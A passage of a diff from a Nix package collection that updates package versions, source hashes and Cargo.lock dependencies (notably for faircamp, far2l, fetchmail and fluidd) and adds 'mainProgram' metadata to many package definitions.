+ hash = "sha256-Mtb5c1/k8kp7bETOSE0X969BV176jpoprr1/mQ3E4Vg="; }; - vendorHash = "sha256-wQGnGshsRJLe3niHDoyr3BTxbwrV3L66EjJ8x633uHY="; + vendorHash = "sha256-fnsSvbuVGRAndU88su2Ck7mV8QBDhxozdmwI3XGtxcA="; doCheck = false; @@ -24,5 +24,6 @@ buildGoModule rec { description = "A Go based command line tool for exercism.io"; license = licenses.mit; maintainers = [ maintainers.rbasso maintainers.nobbz ]; + mainProgram = "exercism"; }; } diff --git a/pkgs/applications/misc/expenses/default.nix b/pkgs/applications/misc/expenses/default.nix index 220cd1178564f..0bca959b8b04c 100644 --- a/pkgs/applications/misc/expenses/default.nix +++ b/pkgs/applications/misc/expenses/default.nix @@ -40,5 +40,6 @@ buildGoModule rec { description = "An interactive command line expense logger"; license = licenses.mit; maintainers = [ maintainers.manojkarthick ]; + mainProgram = "expenses"; }; } diff --git a/pkgs/applications/misc/faircamp/Cargo.lock b/pkgs/applications/misc/faircamp/Cargo.lock index 4371f7dc12c91..3c9a2765b2a26 100644 --- a/pkgs/applications/misc/faircamp/Cargo.lock +++ b/pkgs/applications/misc/faircamp/Cargo.lock @@ -21,16 +21,15 @@ dependencies = [ [[package]] name = "actix-files" -version = "0.6.2" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d832782fac6ca7369a70c9ee9a20554623c5e51c76e190ad151780ebea1cf689" +checksum = "bf0bdd6ff79de7c9a021f5d9ea79ce23e108d8bfc9b49b5b4a2cf6fad5a35212" dependencies = [ "actix-http", "actix-service", "actix-utils", "actix-web", - "askama_escape", - "bitflags 1.3.2", + "bitflags 2.4.1", "bytes", "derive_more", "futures-core", @@ -40,13 +39,14 @@ dependencies = [ "mime_guess", "percent-encoding", "pin-project-lite", + "v_htmlescape", ] [[package]] name = "actix-http" -version = "3.4.0" +version = "3.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a92ef85799cba03f76e4f7c10f533e66d87c9a7e7055f3391f09000ad8351bc9" +checksum = "d223b13fd481fc0d1f83bb12659ae774d9e3601814c68a0bc539731698cca743" dependencies = [ "actix-codec", "actix-rt", @@ -78,7 +78,7 @@ dependencies = [ "tokio", "tokio-util", "tracing", - "zstd 0.12.4", + "zstd 0.13.0", ] [[package]] @@ -88,7 +88,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e01ed3140b2f8d422c68afa1ed2e85d996ea619c988ac834d255db32138655cb" dependencies = [ "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -154,9 +154,9 @@ dependencies = [ [[package]] name = "actix-web" -version = "4.4.0" +version = "4.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4a5b5e29603ca8c94a77c65cf874718ceb60292c5a5c3e5f4ace041af462b9" +checksum = "43a6556ddebb638c2358714d853257ed226ece6023ef9364f23f0c70737ea984" dependencies = [ "actix-codec", "actix-http", @@ -201,7 +201,7 @@ dependencies = [ "actix-router", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -253,6 +253,15 @@ dependencies = [ ] [[package]] +name = "alac" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "498a34d3cad5f3b23cc217ab489424ebcfffed186e30ad5ac02624e50df2c2b8" +dependencies = [ + "mp4parse 0.10.1", +] + +[[package]] name = "alloc-no-stdlib" version = "2.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -284,9 +293,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.4" +version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" dependencies = [ "anstyle", "anstyle-parse", @@ -343,12 +352,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fe8e2a586ecd6eb29477a0c25b19742acca4fa5e39c92e127656616810c20579" [[package]] -name = "askama_escape" -version = "0.10.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "619743e34b5ba4e9703bba34deac3427c72507c7159f5fd030aea8cac0cfe341" - -[[package]] name = "atomic-polyfill" version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -397,9 +400,9 @@ dependencies = [ [[package]] name = "base64" -version = "0.21.5" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "base64ct" @@ -435,6 +438,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" [[package]] +name = "bitreader" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdd859c9d97f7c468252795b35aeccc412bdbb1e90ee6969c4fa6328272eaeff" +dependencies = [ + "cfg-if", +] + +[[package]] name = "block-buffer" version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -542,9 +554,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "chrono" -version = "0.4.31" +version = "0.4.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "9f13690e35a5e4ace198e7beea2895d29f3a9cc55015fcebe6336bd2010af9eb" dependencies = [ "android-tzdata", "iana-time-zone", @@ -552,7 +564,7 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.48.5", + "windows-targets 0.52.0", ] [[package]] @@ -567,9 +579,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.10" +version = "4.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41fffed7514f420abec6d183b1d3acfd9099c79c3a10a06ade4f8203f1411272" +checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" dependencies = [ "clap_builder", "clap_derive", @@ -577,9 +589,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.4.9" +version = "4.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63361bae7eef3771745f02d8d892bec2fee5f6e34af316ba556e7f97a7069ff1" +checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" dependencies = [ "anstream", "anstyle", @@ -596,7 +608,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -810,8 +822,8 @@ dependencies = [ [[package]] name = "enolib" -version = "0.4.0" -source = "git+https://codeberg.org/simonrepp/enolib-rs?tag=0.4.0#dc22b9114b210a6f3e16815c0d1d43bcbed551d5" +version = "0.4.1" +source = "git+https://codeberg.org/simonrepp/enolib-rs?tag=0.4.1#1ca85dc8af9f74f65b199b2ab6c5c94f5b119b93" [[package]] name = "equivalent" @@ -837,10 +849,11 @@ dependencies = [ [[package]] name = "faircamp" -version = "0.12.0" +version = "0.13.0" dependencies = [ "actix-files", "actix-web", + "alac", "base64", "bincode", "chrono", @@ -855,8 +868,9 @@ dependencies = [ "lewton", "libvips", "metaflac", + "mp4parse 0.17.0", "nanoid", - "ogg 0.9.0", + "ogg 0.9.1", "opus", "opus_headers", "pacmog", @@ -874,6 +888,15 @@ dependencies = [ ] [[package]] +name = "fallible_collections" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a88c69768c0a15262df21899142bc6df9b9b823546d4b4b9a7bc2d6c448ec6fd" +dependencies = [ + "hashbrown 0.13.2", +] + +[[package]] name = "fdeflate" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1003,9 +1026,9 @@ checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "h2" -version = "0.3.22" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes", "fnv", @@ -1041,6 +1064,15 @@ dependencies = [ [[package]] name = "hashbrown" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashbrown" version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" @@ -1154,9 +1186,9 @@ dependencies = [ [[package]] name = "id3" -version = "1.10.0" +version = "1.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf8550abe8a02c044e8f4162c8ddb4020fc65b5e7771ad9b80c25e13ed4536b6" +checksum = "2ba0a11a3cf6f08d58a5629531bdb4e7c3b8b595e9812a31a7058b1176c4631e" dependencies = [ "bitflags 2.4.1", "byteorder", @@ -1175,9 +1207,9 @@ dependencies = [ [[package]] name = "image" -version = "0.24.7" +version = "0.24.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" +checksum = "034bbe799d1909622a74d1193aa50147769440040ff36cb2baa947609b0a4e23" dependencies = [ "bytemuck", "byteorder", @@ -1185,7 +1217,6 @@ dependencies = [ "exr", "gif", "jpeg-decoder", - "num-rational", "num-traits", "png", "qoi", @@ -1199,7 +1230,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", - "hashbrown", + "hashbrown 0.14.3", ] [[package]] @@ -1448,6 +1479,32 @@ dependencies = [ ] [[package]] +name = "mp4parse" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7316728464443fe5793a805dde3257864e9690cf46374daff3ce93de1df2f254" +dependencies = [ + "bitreader", + "byteorder", + "log", + "num-traits", +] + +[[package]] +name = "mp4parse" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63a35203d3c6ce92d5251c77520acb2e57108c88728695aa883f70023624c570" +dependencies = [ + "bitreader", + "byteorder", + "fallible_collections", + "log", + "num-traits", + "static_assertions", +] + +[[package]] name = "nanoid" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1493,27 +1550,6 @@ dependencies = [ ] [[package]] -name = "num-integer" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" -dependencies = [ - "autocfg", - "num-traits", -] - -[[package]] -name = "num-rational" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" -dependencies = [ - "autocfg", - "num-integer", - "num-traits", -] - -[[package]] name = "num-traits" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1561,9 +1597,9 @@ dependencies = [ [[package]] name = "ogg" -version = "0.9.0" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "960d0efc0531a452c442c777288f704b300a5f743c04a14eba71f9aabc4897ac" +checksum = "5477016638150530ba21dec7caac835b29ef69b20865751d2973fce6be386cf1" dependencies = [ "byteorder", ] @@ -1678,7 +1714,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -1726,25 +1762,32 @@ checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" [[package]] name = "proc-macro2" -version = "1.0.70" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] [[package]] name = "pulldown-cmark" -version = "0.9.3" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77a1a2f1f0a7ecff9c31abbe177637be0e97a0aef46cf8738ece09327985d998" +checksum = "dce76ce678ffc8e5675b22aa1405de0b7037e2fdf8913fea40d1926c6fe1e6e7" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.1", "memchr", + "pulldown-cmark-escape", "unicase", ] [[package]] +name = "pulldown-cmark-escape" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5d8f9aa0e3cbcfaf8bf00300004ee3b72f74770f9cbac93f6928771f613276b" + +[[package]] name = "qoi" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1755,9 +1798,9 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -1920,22 +1963,22 @@ checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" [[package]] name = "serde" -version = "1.0.193" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.193" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -2049,6 +2092,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" [[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] name = "strsim" version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2073,9 +2122,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.39" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -2099,7 +2148,7 @@ checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -2159,9 +2208,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.34.0" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes", @@ -2184,7 +2233,7 @@ checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -2281,6 +2330,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] +name = "v_htmlescape" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c" + +[[package]] name = "version_check" version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2323,7 +2378,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", "wasm-bindgen-shared", ] @@ -2345,7 +2400,7 @@ checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -2478,6 +2533,21 @@ dependencies = [ ] [[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] name = "windows_aarch64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2490,6 +2560,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2502,6 +2578,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2514,6 +2596,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2526,6 +2614,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2538,6 +2632,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2550,6 +2650,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2562,6 +2668,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] name = "zerocopy" version = "0.7.27" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2578,7 +2690,7 @@ checksum = "e1012d89e3acb79fad7a799ce96866cfb8098b74638465ea1b1533d35900ca90" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -2612,11 +2724,11 @@ dependencies = [ [[package]] name = "zstd" -version = "0.12.4" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a27595e173641171fc74a1232b7b1c7a7cb6e18222c11e9dfb9888fa424c53c" +checksum = "bffb3309596d527cfcba7dfc6ed6052f1d39dfbd7c867aa2e865e4a449c10110" dependencies = [ - "zstd-safe 6.0.6", + "zstd-safe 7.0.0", ] [[package]] @@ -2631,11 +2743,10 @@ dependencies = [ [[package]] name = "zstd-safe" -version = "6.0.6" +version = "7.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee98ffd0b48ee95e6c5168188e44a54550b1564d9d530ee21d5f0eaed1069581" +checksum = "43747c7422e2924c11144d5229878b98180ef8b06cca4ab5af37afc8a8d8ea3e" dependencies = [ - "libc", "zstd-sys", ] diff --git a/pkgs/applications/misc/faircamp/default.nix b/pkgs/applications/misc/faircamp/default.nix index 497c6e7d58fc5..7987a3c44d024 100644 --- a/pkgs/applications/misc/faircamp/default.nix +++ b/pkgs/applications/misc/faircamp/default.nix @@ -16,20 +16,20 @@ rustPlatform.buildRustPackage rec { pname = "faircamp"; - version = "0.12.0"; + version = "0.13.0"; src = fetchFromGitea { domain = "codeberg.org"; owner = "simonrepp"; repo = "faircamp"; rev = version; - hash = "sha256-AYvykiPdVeWMEoDgPHlTHDcPrk3VgNQJFXulbO/3Ars="; + hash = "sha256-Q0jsqOWeXEfekegxYvq3oIIuVMGyeKL1no2Jh4JByD0="; }; cargoLock = { lockFile = ./Cargo.lock; outputHashes = { - "enolib-0.4.0" = "sha256-lfvQHdQSHAzeOULrvIj7MIYtNaIwc0bXC5q1KK9UGvU="; + "enolib-0.4.1" = "sha256-Uz9AXksD3YO6PjSr29RZCQjdoPiFBTXecbE0fluA0LU="; }; }; diff --git a/pkgs/applications/misc/far2l/default.nix b/pkgs/applications/misc/far2l/default.nix index bca4a1d86a726..ad2cc905d9cfa 100644 --- a/pkgs/applications/misc/far2l/default.nix +++ b/pkgs/applications/misc/far2l/default.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation rec { pname = "far2l"; - version = "2.5.3"; + version = "2.6.0"; src = fetchFromGitHub { owner = "elfmz"; repo = "far2l"; rev = "v_${version}"; - sha256 = "sha256-aK6+7ChFAkeDiEYU2llBb//PBej2Its/wBeuG7ys/ew="; + sha256 = "sha256-fLBWHhvfqEiaZkFyNs8CKr5vFMQ5mrbo/X3oGwJmFoo="; }; nativeBuildInputs = [ cmake ninja pkg-config m4 perl makeWrapper ]; diff --git a/pkgs/applications/misc/fead/default.nix b/pkgs/applications/misc/fead/default.nix index bfd645c433137..73907a1758817 100644 --- a/pkgs/applications/misc/fead/default.nix +++ b/pkgs/applications/misc/fead/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.agpl3Plus; changelog = "https://git.sr.ht/~cnx/fead/refs/${version}"; maintainers = with maintainers; [ McSinyx ]; + mainProgram = "fead"; }; } diff --git a/pkgs/applications/misc/fehlstart/default.nix b/pkgs/applications/misc/fehlstart/default.nix index 69050ca661f9a..4d3903bbb6ec4 100644 --- a/pkgs/applications/misc/fehlstart/default.nix +++ b/pkgs/applications/misc/fehlstart/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation { license = licenses.gpl3; maintainers = [ maintainers.mounium ]; platforms = platforms.all; + mainProgram = "fehlstart"; }; } diff --git a/pkgs/applications/misc/fetchmail/default.nix b/pkgs/applications/misc/fetchmail/default.nix index c6280232b8e94..e1a3e8e405b6f 100644 --- a/pkgs/applications/misc/fetchmail/default.nix +++ b/pkgs/applications/misc/fetchmail/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "fetchmail"; - version = "6.4.37"; + version = "6.4.38"; src = fetchurl { url = "mirror://sourceforge/fetchmail/fetchmail-${version}.tar.xz"; - sha256 = "sha256-ShguXYk+mr5qw3rnHlQmUfzm1gYjT8c1wqquGGV+aeo="; + sha256 = "sha256-pstOqGOsYdJC/7LbVko5EjdhV40+QNcc57bykFvmCdk="; }; buildInputs = [ openssl python3 ]; diff --git a/pkgs/applications/misc/ff2mpv/default.nix b/pkgs/applications/misc/ff2mpv/default.nix index 2a1ff0458a5d1..a87e84ea3892d 100644 --- a/pkgs/applications/misc/ff2mpv/default.nix +++ b/pkgs/applications/misc/ff2mpv/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/woodruffw/ff2mpv"; license = lib.licenses.mit; maintainers = with lib.maintainers; [ Enzime ]; + mainProgram = "ff2mpv.py"; }; } diff --git a/pkgs/applications/misc/filet/default.nix b/pkgs/applications/misc/filet/default.nix index 0ee3f6fb221ae..b13f24be307d0 100644 --- a/pkgs/applications/misc/filet/default.nix +++ b/pkgs/applications/misc/filet/default.nix @@ -19,5 +19,6 @@ stdenv.mkDerivation rec { license = licenses.mpl20; platforms = platforms.all; maintainers = with maintainers; [ buffet ]; + mainProgram = "filet"; }; } diff --git a/pkgs/applications/misc/firefly-desktop/default.nix b/pkgs/applications/misc/firefly-desktop/default.nix index f039a31a9eb93..9df2118b02fb7 100644 --- a/pkgs/applications/misc/firefly-desktop/default.nix +++ b/pkgs/applications/misc/firefly-desktop/default.nix @@ -30,5 +30,6 @@ in appimageTools.wrapType2 { license = licenses.asl20; maintainers = with maintainers; [ wolfangaukang ]; platforms = [ "x86_64-linux" ]; + mainProgram = "firefly-desktop"; }; } diff --git a/pkgs/applications/misc/firestarter/default.nix b/pkgs/applications/misc/firestarter/default.nix index 4e8e4ff613068..a8372b643bd36 100644 --- a/pkgs/applications/misc/firestarter/default.nix +++ b/pkgs/applications/misc/firestarter/default.nix @@ -105,5 +105,6 @@ stdenv.mkDerivation rec { platforms = platforms.linux; maintainers = with maintainers; [ astro marenz ]; license = licenses.gpl3; + mainProgram = "FIRESTARTER"; }; } diff --git a/pkgs/applications/misc/flamerobin/default.nix b/pkgs/applications/misc/flamerobin/default.nix index 5fd805994a6e5..de0f06fa5a008 100644 --- a/pkgs/applications/misc/flamerobin/default.nix +++ b/pkgs/applications/misc/flamerobin/default.nix @@ -43,5 +43,6 @@ stdenv.mkDerivation rec { license = licenses.bsdOriginal; maintainers = with maintainers; [ uralbash ]; platforms = platforms.unix; + mainProgram = "flamerobin"; }; } diff --git a/pkgs/applications/misc/flavours/default.nix b/pkgs/applications/misc/flavours/default.nix index db625793adc7f..ca3c5956e3c23 100644 --- a/pkgs/applications/misc/flavours/default.nix +++ b/pkgs/applications/misc/flavours/default.nix @@ -30,5 +30,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/Misterio77/flavours/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ moni misterio77 ]; + mainProgram = "flavours"; }; } diff --git a/pkgs/applications/misc/fluidd/default.nix b/pkgs/applications/misc/fluidd/default.nix index b364bc31bbf24..d77c658f96173 100644 --- a/pkgs/applications/misc/fluidd/default.nix +++ b/pkgs/applications/misc/fluidd/default.nix @@ -2,12 +2,12 @@ stdenvNoCC.mkDerivation rec { pname = "fluidd"; - version = "1.27.1"; + version = "1.28.1"; src = fetchurl { name = "fluidd-v${version}.zip"; url = "https://github.com/cadriel/fluidd/releases/download/v${version}/fluidd.zip"; - sha256 = "sha256-yBxbN6Pd92HjhJ0wMaTDXETcdV4a795wAhv06JcYjJM="; + sha256 = "sha256-mLi0Nvy26PRusdzVrwzuj7UcYN+NGLap+fEAYMpm48w="; }; nativeBuildInputs = [ unzip ]; diff --git a/pkgs/applications/misc/freeplane/default.nix b/pkgs/applications/misc/freeplane/default.nix index 4c790c5e814f4..77918baff3763 100644 --- a/pkgs/applications/misc/freeplane/default.nix +++ b/pkgs/applications/misc/freeplane/default.nix @@ -147,5 +147,6 @@ in stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.linux; maintainers = with maintainers; [ chaduffy ]; + mainProgram = "freeplane"; }; } diff --git a/pkgs/applications/misc/fsv/default.nix 